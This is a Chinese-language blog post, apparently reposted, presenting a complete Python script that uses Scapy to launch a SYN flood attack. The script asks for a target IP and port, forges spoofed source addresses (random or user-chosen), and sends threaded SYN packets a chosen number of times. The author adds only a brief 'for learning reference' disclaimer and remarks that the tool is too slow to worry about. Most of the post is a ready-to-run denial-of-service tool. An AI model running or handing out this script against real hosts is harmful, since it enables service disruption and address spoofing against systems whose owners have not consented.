Python Scapy實現SYN Flood攻擊


SYN Flood的python實現

代碼如下。需要事先安裝scapy庫。(是scapy 不是scrapy)

from scapy.all import *
import random
from scapy.layers.inet import TCP, IP
import socket,threading

dst=""
dport=0

class flood_SYN(threading.Thread):
    global dport,dst
    def __init__(self):
        threading.Thread.__init__(self)

    def run(self):
        sport = random.randint(1, 65535)
        ip = IP(src=src, dst=dst)
        tcp = TCP(sport=sport, dport=dport)
        SYN = ip / tcp
        print(SYN.summary())
        send(SYN,verbose=0)

#def SYNFlood(src, dst, dport):
#    sport = random.randint(10000, 65535)
#    ip = IP(src=src, dst=dst)
#    tcp = TCP(sport=sport, dport=dport)
#    SYN = ip / tcp
#    print(SYN.summary())
#    send(SYN)


def randomIP():
    ip = ''
    for i in range(3):
        ip += str(random.randint(0, 256))
        ip += '.'
    ip += str(random.randint(0, 256))
    return ip


def localIP():
    s=''
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(('8.8.8.8', 80))
        ip = s.getsockname()[0]
    finally:
        s.close()

    return ip


if __name__ == "__main__":
    src = ''
    dst = input("請輸入要攻擊的目標IP:")
    dport = int(input("請輸入要攻擊的目標端口:"))
    print("源地址如何選擇?\n")
    print("1 隨機生成\t2 由我輸入\t3 使用本機(若本機IP地址較多,則不建議使用)")
    src_choice = input()

    if src_choice == '1':
        print("警告:隨機生成的IP地址的主機可能很反感未經授權的[SYN,ACK]半連接!")
    elif src_choice == '2':
        src = input("請輸入要偽裝的源地址IP:")
    elif src_choice == '3':
        src = localIP()
    else:
        print("無效輸入!")
        exit(1)

    times = int(input("請輸入攻擊次數:"))
    for i in range(times):
        if src_choice == '1':
            src = randomIP()
        flood_SYN().start()

用了簡單的多線程。但是速度還是慢,遠不及hping3。

獲取本地IP借鑒了網上的一個辦法,感覺比先獲取本機名字在獲取IP的辦法要優雅。是先准備一個包,然后從包上獲取IP地址。在本機IP比較多的情況下可能不一定會獲取到哪個,通常是“比較常用”的那個地址。

因為效率也很低所以及不擔心用來做什么非法活動了。真要用DDoS也看不上我的腳本哈。
當然還是僅供學習參考!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM